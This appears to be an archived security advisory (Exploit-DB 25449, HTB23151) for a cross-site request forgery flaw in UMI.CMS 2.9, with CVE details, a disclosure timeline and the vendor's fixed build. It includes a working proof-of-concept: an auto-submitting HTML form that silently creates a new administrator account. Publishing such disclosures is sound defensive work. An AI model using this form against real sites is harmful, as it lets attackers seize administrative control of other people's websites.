UMI CMS 2.9 - Cross-Site Request Forgery

EDB-ID:

25449




Platform:

PHP

Date:

2013-05-14


Advisory ID: HTB23151
Product: UMI.CMS
Vendor: OOO Umisoft
Vulnerable Version(s): 2.9 and probably prior
Tested Version: 2.9
Vendor Notification: April 3, 2013 
Vendor Patch: May 7, 2013 
Public Disclosure: May 8, 2013 
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
CVE Reference: CVE-2013-2754
Risk Level: Medium 
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered CSRF vulnerability in UMI.CMS, which can be exploited to perform Cross-Site Request Forgery (CSRF) attacks and create new administrator in the vulnerable application.


1) Cross-site Request Forgery (CSRF) in UMI.CMS: CVE-2013-2754

The application allows authorized administrator to perform certain sensitive actions via HTTP requests without making proper validity checks to verify the source of these HTTP requests. This can be exploited to perform any actions with administrator privileges, such as adding new administrator to the system.

A remote attacker can create a specially crafted webpage, trick a logged-in administrator to open it and create new user with administrative privileges.

A basic CSRF exploit below will create new administrator with "csrfuser" as a login and "password" as a password:


<form action="http://[host]/admin/users/add/user/do/" method="post" name="main">
<input type="hidden" name="data[new][login]"        value="csrfuser">
<input type="hidden" name="data[new][password][]"   value="password">
<input type="hidden" name="data[new][e-mail]"       value="user@mail.com">
<input type="hidden" name="data[new][is_activated]" value="1">
<input type="hidden" name="data[new][fname]"        value="username">
<input type="hidden" name="data[new][groups][]"     value="1">
<input type="hidden" name="data[new][groups][]"     value="2">
<input type="hidden" name="" value="">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>


-----------------------------------------------------------------------------------------------

Solution:

Upgrade to UMI.CMS 2.9 build 21905
Changelog: http://www.umi-cms.ru/support/changelog/ (task number 17390)

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23151 - https://www.htbridge.com/advisory/HTB23151 - Cross-Site Request Forgery (CSRF) in UMI.CMS
[2] UMI.CMS - http://umi-cms.ru - UMI.CMS is a fast and scalable content management system.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.